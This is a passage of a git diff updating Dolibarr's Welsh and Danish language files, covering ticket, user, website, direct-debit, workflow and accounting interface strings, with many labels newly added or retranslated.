b/htdocs/langs/cy_GB/ticket.lang index 56b902682eb..774793349b6 100644 --- a/htdocs/langs/cy_GB/ticket.lang +++ b/htdocs/langs/cy_GB/ticket.lang @@ -26,7 +26,9 @@ Permission56002=Addasu tocynnau Permission56003=Dileu tocynnau Permission56004=Rheoli tocynnau Permission56005=Gweld tocynnau pob trydydd parti (ddim yn effeithiol ar gyfer defnyddwyr allanol, bob amser yn gyfyngedig i'r trydydd parti y maent yn dibynnu ar) +Permission56006=Export tickets +Tickets=Tickets TicketDictType=Tocyn - Mathau TicketDictCategory=Tocyn - Grwpiau TicketDictSeverity=Tocyn - Difrifoldeb @@ -60,6 +62,8 @@ TypeContact_ticket_external_CONTRIBUTOR=Cyfrannwr allanol OriginEmail=Ebost y Gohebydd Notify_TICKET_SENTBYMAIL=Anfon neges tocyn trwy e-bost +ExportDataset_ticket_1=Tickets + # Status Read=Darllen Assigned=Wedi'i neilltuo @@ -90,8 +94,8 @@ TicketPublicAccess=Mae rhyngwyneb cyhoeddus nad oes angen unrhyw ddull adnabod a TicketSetupDictionaries=Gellir ffurfweddu'r math o docyn, difrifoldeb a chodau dadansoddol o eiriaduron TicketParamModule=Gosodiad newidyn modiwl TicketParamMail=Gosodiad e-bost -TicketEmailNotificationFrom=Sender e-mail for ticket answers -TicketEmailNotificationFromHelp=Sender e-mail for ticket answers sent from Dolibarr +TicketEmailNotificationFrom=Sender e-mail for notification on answers +TicketEmailNotificationFromHelp=Sender e-mail to use to send the notification email when an answer is provided inside the backoffice. For example noreply@example.com TicketEmailNotificationTo=Notify ticket creation to this e-mail address TicketEmailNotificationToHelp=If present, this e-mail address will be notified of a ticket creation TicketNewEmailBodyLabel=Neges testun wedi'i hanfon ar ôl creu tocyn @@ -99,6 +103,8 @@ TicketNewEmailBodyHelp=Bydd y testun a nodir yma yn cael ei fewnosod yn yr e-bos TicketParamPublicInterface=Gosod rhyngwyneb cyhoeddus TicketsEmailMustExist=Angen cyfeiriad e-bost presennol i greu tocyn TicketsEmailMustExistHelp=Yn y rhyngwyneb cyhoeddus, dylid llenwi'r cyfeiriad e-bost eisoes yn y gronfa ddata i greu tocyn newydd. +TicketCreateThirdPartyWithContactIfNotExist=Ask name and company name for unknown emails. +TicketCreateThirdPartyWithContactIfNotExistHelp=Check if a thirdparty or a contact exists for the email entered. If not, ask a name and a company name to create a third party with contact. PublicInterface=Rhyngwyneb cyhoeddus TicketUrlPublicInterfaceLabelAdmin=URL amgen ar gyfer rhyngwyneb cyhoeddus TicketUrlPublicInterfaceHelpAdmin=Mae'n bosibl diffinio alias i'r gweinydd gwe a thrwy hynny sicrhau bod y rhyngwyneb cyhoeddus ag URL arall ar gael (rhaid i'r gweinydd weithredu fel dirprwy ar yr URL newydd hwn) @@ -147,6 +153,8 @@ TicketsAutoNotifyCloseHelp=Wrth gau tocyn, cynigir i chi anfon neges at un o gys TicketWrongContact=Ar yr amod nad yw cyswllt yn rhan o gysylltiadau tocynnau cyfredol. E-bost heb ei anfon. TicketChooseProductCategory=Product category for ticket support TicketChooseProductCategoryHelp=Select the product category of ticket support. This will be used to automatically link a contract to a ticket. +TicketUseCaptchaCode=Use graphical code (CAPTCHA) when creating a ticket +TicketUseCaptchaCodeHelp=Adds CAPTCHA verification when creating a new ticket. # # Index & list page @@ -178,7 +186,7 @@ CreatedBy=Crëwyd gan NewTicket=Tocyn Newydd SubjectAnswerToTicket=Ateb tocyn TicketTypeRequest=Math o gais -TicketCategory=Categoreiddio tocynnau +TicketCategory=Ticket group SeeTicket=Gweler tocyn TicketMarkedAsRead=Mae'r tocyn wedi'i farcio fel wedi'i ddarllen TicketReadOn=Darllen ymlaen @@ -190,8 +198,7 @@ TicketAssigned=Tocyn bellach wedi'i neilltuo TicketChangeType=Newid math TicketChangeCategory=Newid cod dadansoddol TicketChangeSeverity=Newid difrifoldeb -TicketAddMessage=Ychwanegu neges -AddMessage=Ychwanegu neges +TicketAddMessage=Add private message MessageSuccessfullyAdded=Ychwanegwyd y tocyn TicketMessageSuccessfullyAdded=Wedi ychwanegu'r neges yn llwyddiannus TicketMessagesList=Rhestr negeseuon @@ -202,8 +209,8 @@ TicketSeverity=Difrifoldeb ShowTicket=Gweler tocyn RelatedTickets=Tocynnau cysylltiedig TicketAddIntervention=Creu ymyrraeth -CloseTicket=Cau| Datrys tocyn -AbandonTicket=Gadael tocyn +CloseTicket=Close|Solve +AbandonTicket=Abandon CloseATicket=Cau|Datrys tocyn ConfirmCloseAticket=Cadarnhau cau tocyn ConfirmAbandonTicket=A ydych yn cadarnhau cau'r tocyn i statws 'Wedi'i adael' @@ -217,18 +224,17 @@ SendMessageByEmail=Anfon neges trwy e-bost TicketNewMessage=Neges newydd ErrorMailRecipientIsEmptyForSendTicketMessage=Mae'r derbynnydd yn wag. Dim anfon e-bost TicketGoIntoContactTab=Ewch i'r tab "Cysylltiadau" i'w dewis -TicketMessageMailIntro=Rhagymadrodd +TicketMessageMailIntro=Message header TicketMessageMailIntroHelp=Dim ond ar ddechrau'r e-bost y caiff y testun hwn ei ychwanegu ac ni fydd yn cael ei gadw. -TicketMessageMailIntroLabelAdmin=Introduction text to all ticket answers TicketMessageMailIntroText=Hello,
      A new answer has been added to a ticket that you follow. Here is the message:
      TicketMessageMailIntroHelpAdmin=This text will be inserted before the answer when replying to a ticket from Dolibarr -TicketMessageMailSignature=Llofnod -TicketMessageMailSignatureHelp=Dim ond ar ddiwedd yr e-bost y caiff y testun hwn ei ychwanegu ac ni fydd yn cael ei gadw. -TicketMessageMailSignatureText=Message sent by %s via Dolibarr -TicketMessageMailSignatureLabelAdmin=Llofnod yr e-bost ymateb -TicketMessageMailSignatureHelpAdmin=Bydd y testun hwn yn cael ei fewnosod ar ôl y neges ymateb. +TicketMessageMailFooter=Message footer +TicketMessageMailFooterHelp=This text is added only at the end of the message sent by email and will not be saved. +TicketMessageMailFooterText=Message sent by %s via Dolibarr +TicketMessageMailFooterHelpAdmin=This text will be inserted after the response message. TicketMessageHelp=Dim ond y testun hwn fydd yn cael ei gadw yn y rhestr negeseuon ar gerdyn tocyn. TicketMessageSubstitutionReplacedByGenericValues=Mae newidynnau amnewid yn cael eu disodli gan werthoedd generig. +ForEmailMessageWillBeCompletedWith=For email messages sent to external users, the message will be completed with TimeElapsedSince=Aeth amser heibio ers hynny TicketTimeToRead=Aeth amser heibio cyn darllen TicketTimeElapsedBeforeSince=Aeth amser heibio cyn / ers hynny @@ -239,6 +245,7 @@ TicketMessageMailIntroAutoNewPublicMessage=Postiwyd neges newydd ar y tocyn gyda TicketAssignedToYou=Tocyn wedi'i neilltuo TicketAssignedEmailBody=Rydych chi wedi cael y tocyn #%s gan %s MarkMessageAsPrivate=Marciwch y neges yn breifat +TicketMessageSendEmailHelp=An email will be sent to all assigned contact (internal contacts, but also external contacts except if the option "%s" is checked) TicketMessagePrivateHelp=Ni fydd y neges hon yn cael ei dangos i ddefnyddwyr allanol TicketEmailOriginIssuer=Y cyhoeddwr o darddiad y tocynnau InitialMessage=Neges Cychwynnol @@ -294,7 +301,7 @@ TicketNewEmailBodyInfosTrackUrlCustomer=Gallwch weld cynnydd y tocyn yn y rhyngw TicketCloseEmailBodyInfosTrackUrlCustomer=Gallwch edrych ar hanes y tocyn hwn trwy glicio ar y ddolen ganlynol TicketEmailPleaseDoNotReplyToThisEmail=Peidiwch ag ymateb yn uniongyrchol i'r e-bost hwn! Defnyddiwch y ddolen i ymateb i'r rhyngwyneb. TicketPublicInfoCreateTicket=Mae'r ffurflen hon yn eich galluogi i gofnodi tocyn cymorth yn ein system reoli. -TicketPublicPleaseBeAccuratelyDescribe=Disgrifiwch y broblem yn gywir. Darparwch y wybodaeth fwyaf posibl i'n galluogi i adnabod eich cais yn gywir. +TicketPublicPleaseBeAccuratelyDescribe=Please accurately describe your question. Provide the most information possible to allow us to correctly identify your request. TicketPublicMsgViewLogIn=Rhowch ID olrhain tocyn TicketTrackId=ID Tracio Cyhoeddus OneOfTicketTrackId=Un o'ch ID olrhain diff --git a/htdocs/langs/cy_GB/users.lang b/htdocs/langs/cy_GB/users.lang index b3c8ba3ee69..6f2871b0d36 100644 --- a/htdocs/langs/cy_GB/users.lang +++ b/htdocs/langs/cy_GB/users.lang @@ -47,7 +47,7 @@ RemoveFromGroup=Tynnu o'r grŵp PasswordChangedAndSentTo=Cyfrinair wedi'i newid a'i anfon i %s . PasswordChangeRequest=Cais i newid cyfrinair ar gyfer %s PasswordChangeRequestSent=Cais i newid cyfrinair ar gyfer %s wedi'i anfon at %s . -IfLoginExistPasswordRequestSent=Os yw'r mewngofnodi hwn yn gyfrif dilys, mae e-bost i ailosod cyfrinair wedi'i anfon. +IfLoginExistPasswordRequestSent=If this login is a valid account (with a valid email), an email to reset password has been sent. IfEmailExistPasswordRequestSent=Os yw'r e-bost hwn yn gyfrif dilys, mae e-bost i ailosod cyfrinair wedi'i anfon. ConfirmPasswordReset=Cadarnhau ailosod cyfrinair MenuUsersAndGroups=Defnyddwyr a Grwpiau @@ -66,9 +66,9 @@ LinkedToDolibarrUser=Dolen i'r defnyddiwr LinkedToDolibarrThirdParty=Dolen i drydydd parti CreateDolibarrLogin=Creu defnyddiwr CreateDolibarrThirdParty=Creu trydydd parti -LoginAccountDisableInDolibarr=Cyfrif wedi'i analluogi yn Dolibarr. +LoginAccountDisableInDolibarr=Account disabled in Dolibarr +PASSWORDInDolibarr=Password modified in Dolibarr UsePersonalValue=Defnyddiwch werth personol -InternalUser=Defnyddiwr mewnol ExportDataset_user_1=Defnyddwyr a'u priodweddau DomainUser=Defnyddiwr parth %s Reactivate=Ail-ysgogi @@ -128,3 +128,8 @@ DateLastLogin=Date last login DatePreviousLogin=Date previous login IPLastLogin=IP last login IPPreviousLogin=IP previous login +ShowAllPerms=Show all permission rows +HideAllPerms=Hide all permission rows +UserPublicPageDesc=You can enable a virtual card for this user. An url with the user profile and a barcode will be available to allow anybody with a smartphone to scan it and add your contact to its address book. +EnablePublicVirtualCard=Enable the public virtual user card +PublicVirtualCardUrl=Public virtual user card diff --git a/htdocs/langs/cy_GB/website.lang b/htdocs/langs/cy_GB/website.lang index f7636647a27..ff8eba08bf9 100644 --- a/htdocs/langs/cy_GB/website.lang +++ b/htdocs/langs/cy_GB/website.lang @@ -1,5 +1,6 @@ # Dolibarr language file - Source file is en_US - website Shortname=Côd +WebsiteName=Name of the website WebsiteSetupDesc=Crëwch yma y gwefannau yr hoffech eu defnyddio. Yna ewch i wefannau dewislen i'w golygu. DeleteWebsite=Dileu gwefan ConfirmDeleteWebsite=Ydych chi'n siŵr eich bod am ddileu'r wefan hon? Bydd ei holl dudalennau a chynnwys hefyd yn cael eu dileu. Bydd y ffeiliau a uwchlwythwyd (fel i'r cyfeiriadur cyfryngau, y modiwl ECM, ...) yn aros. @@ -15,9 +16,9 @@ WEBSITE_HTML_HEADER=Ychwanegiad ar waelod Pennawd HTML (cyffredin i bob tudalen) WEBSITE_ROBOT=Ffeil robot (robots.txt) WEBSITE_HTACCESS=Gwefan .htaccess ffeil WEBSITE_MANIFEST_JSON=Ffeil manifest.json gwefan -WEBSITE_README=ffeil README.md WEBSITE_KEYWORDSDesc=Defnyddiwch goma i wahanu gwerthoedd -EnterHereLicenseInformation=Rhowch meta data neu wybodaeth trwydded yma i lenwi ffeil README.md. os byddwch yn dosbarthu eich gwefan fel templed, bydd y ffeil yn cael ei chynnwys yn y pecyn temtasiwn. +EnterHereReadmeInformation=Enter here a description of the website. If you distribute your website as a template, the file will be included into the temptate package. +EnterHereLicenseInformation=Enter here the LICENSE of the code of the website. If you distribute your website as a template, the file will be included into the temptate package. HtmlHeaderPage=Pennawd HTML (penodol i'r dudalen hon yn unig) PageNameAliasHelp=Enw neu enw arall y dudalen.
      Mae'r alias hwn hefyd yn cael ei ddefnyddio i greu URL SEO pan fydd gwefan yn cael ei rhedeg o westeiwr Rhithwir o weinydd Gwe (fel Apacke, Nginx, ...). Defnyddiwch y botwm " %s " i olygu'r alias hwn. EditTheWebSiteForACommonHeader=Nodyn: Os ydych chi am ddiffinio pennyn wedi'i bersonoli ar gyfer pob tudalen, golygwch y pennawd ar lefel y wefan yn lle ar y dudalen/cynhwysydd. @@ -42,6 +43,8 @@ ViewPageInNewTab=Gweld y dudalen mewn tab newydd SetAsHomePage=Gosod fel tudalen Hafan RealURL=URL go iawn ViewWebsiteInProduction=Gweld gwefan gan ddefnyddio URLs cartref +Virtualhost=Virtual host or domain name +VirtualhostDesc=The name of the Virtual host or domain (For example: www.mywebsite.com, mybigcompany.net, ...) SetHereVirtualHost= Defnyddiwch gydag Apache/NGinx/...
      Creu ar eich gweinydd gwe (Apache, Nginx, ...) Gwesteiwr Rhithwir pwrpasol gyda PHP wedi'i alluogi a chyfeiriadur Root ar a0342fccfda19bz87807fcfda19b8070607 a0342fccfda19bz80z0707fc a0342fccfda19bz80z07607 a0342fccfda19bz80z0707fcf a0342fccfda19b8070607 a0342fccfda19bz80z0707fccf ExampleToUseInApacheVirtualHostConfig=Enghraifft i'w defnyddio yn setup gwesteiwr rhithwir Apache: YouCanAlsoTestWithPHPS= Defnyddio gyda PHP gweinydd hymgorffori
      On datblygu amgylchedd, efallai y byddai'n well i chi i brofi safle gyda'r PHP gwreiddio weinydd y we (PHP 5.5 yn ofynnol) drwy redeg
      php -S 0.0.0.0:8080 -t %s @@ -137,7 +140,7 @@ PagesRegenerated=%s tudalen(nau)/cynhwysydd(nau) wedi'u hadfywio RegenerateWebsiteContent=Adfywio ffeiliau storfa gwefan AllowedInFrames=Caniateir mewn Fframiau DefineListOfAltLanguagesInWebsiteProperties=Diffinio rhestr o'r holl ieithoedd sydd ar gael yn briodweddau gwefan. -GenerateSitemaps=Cynhyrchu ffeil map gwefan gwefan +GenerateSitemaps=Generate website sitemap.xml file ConfirmGenerateSitemaps=Os byddwch yn cadarnhau, byddwch yn dileu'r ffeil map gwefan bresennol... ConfirmSitemapsCreation=Cadarnhau cynhyrchu mapiau gwefan SitemapGenerated=Ffeil map gwefan %s wedi'i chynhyrchu @@ -145,3 +148,10 @@ ImportFavicon=Favicon ErrorFaviconType=Rhaid i Favicon fod yn png ErrorFaviconSize=Rhaid i Favicon fod o faint 16x16, 32x32 neu 64x64 FaviconTooltip=Uwchlwythwch ddelwedd sydd angen bod yn png (16x16, 32x32 neu 64x64) +NextContainer=Next page/container +PreviousContainer=Previous page/container +WebsiteMustBeDisabled=The website must have the status "%s" +WebpageMustBeDisabled=The web page must have the status "%s" +SetWebsiteOnlineBefore=When website is offline, all pages are offline. Change status of website first. +Booking=Booking +Reservation=Reservation diff --git a/htdocs/langs/cy_GB/withdrawals.lang b/htdocs/langs/cy_GB/withdrawals.lang index 4a5490cd041..16953ad3c87 100644 --- a/htdocs/langs/cy_GB/withdrawals.lang +++ b/htdocs/langs/cy_GB/withdrawals.lang @@ -33,7 +33,7 @@ InvoiceWaitingPaymentByBankTransfer=Anfoneb yn aros am drosglwyddiad credyd AmountToWithdraw=Swm i dynnu'n ôl AmountToTransfer=Amount to transfer NoInvoiceToWithdraw=Nid oes anfoneb ar agor ar gyfer '%s' yn aros. Ewch ar dab '%s' ar gerdyn anfoneb i wneud cais. -NoSupplierInvoiceToWithdraw=Nid oes anfoneb cyflenwr gyda 'Ceisiadau credyd uniongyrchol' yn aros. Ewch ar dab '%s' ar gerdyn anfoneb i wneud cais. +NoSupplierInvoiceToWithdraw=No supplier invoice with open '%s' is waiting. Go on tab '%s' on invoice card to make a request. ResponsibleUser=Defnyddiwr sy'n Gyfrifol WithdrawalsSetup=Gosod taliad debyd uniongyrchol CreditTransferSetup=Gosodiad trosglwyddo credyd @@ -42,6 +42,7 @@ CreditTransferStatistics=Ystadegau trosglwyddo credyd Rejects=Yn gwrthod LastWithdrawalReceipt=Derbynebau debyd uniongyrchol %s diweddaraf MakeWithdrawRequest=Gwneud cais am daliad debyd uniongyrchol +MakeWithdrawRequestStripe=Make a direct debit payment request via Stripe MakeBankTransferOrder=Gwneud cais trosglwyddo credyd WithdrawRequestsDone=%s ceisiadau taliad debyd uniongyrchol wedi'u cofnodi BankTransferRequestsDone=%s ceisiadau trosglwyddo credyd wedi'u cofnodi @@ -100,8 +101,11 @@ CreditDate=Credyd ar WithdrawalFileNotCapable=Methu cynhyrchu ffeil derbynneb tynnu'n ôl ar gyfer eich gwlad %s (Ni chefnogir eich gwlad) ShowWithdraw=Dangos Archeb Debyd Uniongyrchol IfInvoiceNeedOnWithdrawPaymentWontBeClosed=Fodd bynnag, os oes gan yr anfoneb o leiaf un archeb talu debyd uniongyrchol heb ei phrosesu eto, ni fydd yn cael ei gosod fel un a dalwyd er mwyn caniatáu rheoli codi arian ymlaen llaw. -DoStandingOrdersBeforePayments=Mae'r tab hwn yn eich galluogi i ofyn am orchymyn talu debyd uniongyrchol. Unwaith y bydd wedi'i wneud, ewch i'r ddewislen Banc-> Taliad trwy ddebyd uniongyrchol i gynhyrchu a rheoli'r archeb debyd uniongyrchol. Pan fydd archeb debyd uniongyrchol wedi'i chau, bydd taliad ar anfonebau'n cael ei gofnodi'n awtomatig, ac anfonebau'n cael eu cau os yw'r gweddill i'w dalu yn null. -DoCreditTransferBeforePayments=Mae'r tab hwn yn caniatáu ichi ofyn am orchymyn trosglwyddo credyd. Ar ôl ei wneud, ewch i'r ddewislen Banc-> Taliad trwy drosglwyddiad credyd i gynhyrchu a rheoli'r gorchymyn trosglwyddo credyd. Pan fydd gorchymyn trosglwyddo credyd wedi'i gau, bydd taliad ar anfonebau'n cael ei gofnodi'n awtomatig, ac anfonebau'n cael eu cau os yw'r gweddill i'w dalu yn null. +DoStandingOrdersBeforePayments=This tab allows you to request a direct debit payment order. Once done, you can go into menu "Bank->Payment by direct debit" to generate and manage a Direct debit order file. +DoStandingOrdersBeforePayments2=You can also send a request directly to a SEPA payment processor like Stripe, ... +DoStandingOrdersBeforePayments3=When direct debit order is closed, payment on invoices will be automatically recorded, and invoices closed if remainder to pay is null. +DoCreditTransferBeforePayments=This tab allows you to request a credit transfer order. Once done, go into menu "Bank->Payment by credit transfer" to generate and manage a Credit transfer order file. +DoCreditTransferBeforePayments3=When credit transfer order is closed, payment on invoices will be automatically recorded, and invoices closed if remainder to pay is null. WithdrawalFile=Ffeil archeb debyd CreditTransferFile=Ffeil trosglwyddo credyd SetToStatusSent=Gosod i statws "Ffeil Wedi'i Anfon" @@ -118,7 +122,7 @@ WithdrawRequestErrorNilAmount=Methu creu cais debyd uniongyrchol am swm gwag. SepaMandate=Mandad Debyd Uniongyrchol SEPA SepaMandateShort=Mandad SEPA PleaseReturnMandate=Dychwelwch y ffurflen fandad hon trwy e-bost i %s neu drwy'r post i -SEPALegalText=Drwy lofnodi’r ffurflen fandad hon, rydych yn awdurdodi (A) %s i anfon cyfarwyddiadau i’ch banc i ddebydu’ch cyfrif a (B) i’ch banc i ddebydu’ch cyfrif yn unol â chyfarwyddiadau %s. Fel rhan o’ch hawliau, mae gennych hawl i gael ad-daliad gan eich banc o dan delerau ac amodau eich cytundeb gyda’ch banc. Esbonnir eich hawliau o ran y mandad uchod mewn datganiad y gallwch ei gael gan eich banc. +SEPALegalText=By signing this mandate form, you authorize (A) %s and its payment service provider to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with the instructions from %s. As part of your rights, you are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. Your rights regarding the above mandate are explained in a statement that you can obtain from your bank. CreditorIdentifier=Dynodwr Credydwr CreditorName=Enw Credydwr SEPAFillForm=(B) Cwblhewch yr holl feysydd sydd wedi eu nodi â * diff --git a/htdocs/langs/cy_GB/workflow.lang b/htdocs/langs/cy_GB/workflow.lang index dcffec6a9b0..6b7442731b1 100644 --- a/htdocs/langs/cy_GB/workflow.lang +++ b/htdocs/langs/cy_GB/workflow.lang @@ -22,7 +22,7 @@ descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_SUPPLIER_ORDER=Dosbarthu archeb bryn descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION=Dosbarthwch archeb brynu ffynhonnell gysylltiedig fel y'i derbyniwyd pan ddilysir derbyniad (ac os yw'r swm a dderbynnir gan bob derbyniad yr un peth ag yn yr archeb brynu i ddiweddaru) descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION_CLOSED=Dosbarthwch archeb brynu ffynhonnell gysylltiedig fel un a dderbyniwyd pan fydd derbyniad ar gau (ac os yw'r swm a dderbynnir gan bob derbynfa yr un peth ag yn yr archeb brynu i ddiweddaru) # Autoclassify purchase invoice -descWORKFLOW_BILL_ON_RECEPTION=Dosbarthu derbyniadau i "bil" pan fydd archeb cyflenwr cysylltiedig yn cael ei ddilysu +descWORKFLOW_EXPEDITION_CLASSIFY_CLOSED_INVOICE=Classify receptions to "billed" when a linked purchase invoice is validated (and if the amount of the invoice is the same as the total amount of the linked receptions) # Automatically link ticket to contract descWORKFLOW_TICKET_LINK_CONTRACT=When creating a ticket, link available contracts of matching thirdparty descWORKFLOW_TICKET_USE_PARENT_COMPANY_CONTRACTS=When linking contracts, search among those of parents companies @@ -31,6 +31,6 @@ descWORKFLOW_TICKET_CLOSE_INTERVENTION=Caewch yr holl ymyriadau sy'n gysylltiedi AutomaticCreation=Creu awtomatig AutomaticClassification=Dosbarthiad awtomatig # Autoclassify shipment -descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Dosbarthu llwyth ffynhonnell gysylltiedig fel un sydd ar gau pan fydd anfoneb cwsmer yn cael ei dilysu +descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Classify linked source shipment as closed when customer invoice is validated (and if the amount of the invoice is the same as the total amount of the linked shipments) AutomaticClosing=Automatic closing AutomaticLinking=Automatic linking diff --git a/htdocs/langs/da_DK/accountancy.lang b/htdocs/langs/da_DK/accountancy.lang index b8ba3cba44c..3c7a39a0c0f 100644 --- a/htdocs/langs/da_DK/accountancy.lang +++ b/htdocs/langs/da_DK/accountancy.lang @@ -14,8 +14,8 @@ ACCOUNTING_EXPORT_ENDLINE=Vælg linjeskift type ACCOUNTING_EXPORT_PREFIX_SPEC=Angiv præfiks for filnavnet ThisService=Denne ydelse ThisProduct=Dette produkt -DefaultForService=Forvalg ydelse -DefaultForProduct=Forvalg produkt +DefaultForService=Standard for tjenester +DefaultForProduct=Standard for produkter ProductForThisThirdparty=Produkt til denne tredjepart ServiceForThisThirdparty=Service for denne tredjepart CantSuggest=Kan ikke foreslå @@ -59,6 +59,7 @@ MainAccountForSuppliersNotDefined=Hoved kontokort for leverandører, der ikke er MainAccountForUsersNotDefined=Standardkonto for brugere, der ikke er defineret i opsætningen MainAccountForVatPaymentNotDefined=Standardkonto for momsbetaling ikke defineret i opsætningen MainAccountForSubscriptionPaymentNotDefined=Hovedkontokonto for abonnementsbetaling, der ikke er defineret i opsætningen +UserAccountNotDefined=Regnskabskonto for bruger er ikke defineret i opsætning AccountancyArea=Bogførings område AccountancyAreaDescIntro=Brugen af regnskabsmodulet sker i følgende trin: @@ -100,7 +101,8 @@ ShowAccountingAccount=Vis regnskabs konto ShowAccountingJournal=Vis kontokladde ShowAccountingAccountInLedger=Vis regnskabskonto i hovedbog ShowAccountingAccountInJournals=Vis regnskabskonto i tidsskrifter -AccountAccountingSuggest=Forelslået regnskabskonto +DataUsedToSuggestAccount=Data brugt til at foreslå konto +AccountAccountingSuggest=Konto foreslået MenuDefaultAccounts=Standardkonti MenuBankAccounts=Bankkonti MenuVatAccounts=Momskonti @@ -125,6 +127,7 @@ WriteBookKeeping=Registrer transaktioner i regnskabet Bookkeeping=Hovedbog BookkeepingSubAccount=Underkonti AccountBalance=Kontobalance +AccountBalanceSubAccount=Underkonti balance ObjectsRef=Objektreference CAHTF=Samlet købeleverandør før skat TotalExpenseReport=Rapport for samlede udgifter @@ -164,42 +167,45 @@ ACCOUNTANCY_COMBO_FOR_AUX=Aktivér kombinationsliste for datterselskabskonto (ka ACCOUNTING_DATE_START_BINDING=Definer en dato for start af binding og overførsel i regnskab. Under denne dato overføres transaktionerne ikke til regnskab. ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=Ved regnskabsoverførsel, hvilken periode er valgt som standard -ACCOUNTING_SELL_JOURNAL=Salgskladde -ACCOUNTING_PURCHASE_JOURNAL=Indkøbskladde -ACCOUNTING_MISCELLANEOUS_JOURNAL=Diversekladde +ACCOUNTING_SELL_JOURNAL=Salgsjournal - salg og returnering +ACCOUNTING_PURCHASE_JOURNAL=Købsjournal - køb og returnering +ACCOUNTING_BANK_JOURNAL=Kassekladde - ind- og udbetalinger ACCOUNTING_EXPENSEREPORT_JOURNAL=Udgiftskladde -ACCOUNTING_SOCIAL_JOURNAL=Kladde for skat/afgift +ACCOUNTING_MISCELLANEOUS_JOURNAL=Almindelig journal ACCOUNTING_HAS_NEW_JOURNAL=Ny Journal +ACCOUNTING_INVENTORY_JOURNAL=Lagerjournal +ACCOUNTING_SOCIAL_JOURNAL=Kladde for skat/afgift ACCOUNTING_RESULT_PROFIT=Resultatregnskabskonto (fortjeneste) ACCOUNTING_RESULT_LOSS=Resultatregnskabskonto (tab) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Luknings journal -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Regnskabskonto ved overgangs bankoverførsel +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Konto (fra kontoplanen), der skal bruges som konto for overgangsbankoverførsler TransitionalAccount=Overgangs bankoverførsels konto -ACCOUNTING_ACCOUNT_SUSPENSE=Regnskabskonto for afventning -DONATION_ACCOUNTINGACCOUNT=Regnskabskonto til registrering af donationer -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Regnskabskonto for at registrere abonnementer +ACCOUNTING_ACCOUNT_SUSPENSE=Konto (fra kontoplanen), der skal bruges som konto for ikke-allokerede midler enten modtaget eller betalt, dvs. midler i "venter" +DONATION_ACCOUNTINGACCOUNT=Konto (fra kontoplanen), der skal bruges til at registrere donationer (donationsmodul) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Konto (fra kontoplanen), der skal bruges til at registrere medlemskabsabonnementer (Medlemsmodul - hvis medlemskab registreres uden faktura) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Regnskabskonto er som standard for at registrere kundeindbetaling +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Konto (fra kontoplanen) skal bruges som standardkonto til registrering af kundeindbetaling UseAuxiliaryAccountOnCustomerDeposit=Gem kundekonto som individuel konto i hovedbog for linjer med forudbetalinger (hvis den er deaktiveret, forbliver individuel konto for forudbetalingslinjer tomme) -ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Regnskabskonto som standard for at registrere leverandørindskud +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Konto (fra kontoplanen), der skal bruges som standard UseAuxiliaryAccountOnSupplierDeposit=Gem leverandørkonto som individuel konto i hovedbog for linjer med forudbetalinger (hvis den er deaktiveret, vil individuel konto for forudbetalingslinjer forblive tom) +ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY=Regnskabskonto som standard for at registrere kundebeholdt garanti -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Regnskabskonto som standard for de købte produkter (bruges hvis ikke defineret i produktarket) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Regnskabskonto som standard for de købte produkter i EØF (brugt, hvis ikke defineret i produktarket) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Regnskabskonto som standard for de købte produkter og importeret ud af EØF (brugt, hvis ikke defineret i produktarket) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Regnskabskonto som standard for solgte varer (hvis ikke defineret for varen) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Regnskabskonto som standard for de produkter, der sælges i EØF (bruges, hvis de ikke er defineret i produktarket) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Regnskabskonto som standard for de produkter, der er solgt og eksporteret ud af EØF (brugt, hvis ikke defineret i produktarket) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Konto (fra kontoplanen), der skal bruges som standardkonto for de produkter, der er købt i samme land (bruges, hvis det ikke er defineret i produktarket) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Konto (fra kontoplanen), der skal bruges som standardkonto for produkter købt fra EF til et andet EF-land (bruges, hvis det ikke er defineret i produktarket) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Konto (fra kontoplanen), der skal bruges som standardkonto for de produkter, der er købt og importeret fra ethvert andet fremmed land (bruges, hvis det ikke er defineret i produktarket) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Konto (fra kontoplanen), der skal bruges som standardkonto for de solgte produkter (bruges, hvis det ikke er defineret i produktarket) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Konto (fra kontoplanen), der skal bruges som standardkonto for de produkter, der sælges fra EF til et andet EF-land (bruges, hvis det ikke er defineret i produktarket) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Konto (fra kontoplanen), der skal bruges som standardkonto for de produkter, der sælges og eksporteres til ethvert andet fremmed land (bruges, hvis det ikke er defineret i produktarket) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Regnskabskonto som standard for købte ydelser (hvis ikke defineret for varen) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Regnskabskonto som standard for de købte tjenester i EØF (brugt, hvis ikke defineret i servicearket) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Regnskabskonto som standard for de købte tjenester og importeret ud af EØF (brugt hvis ikke defineret i servicearket) 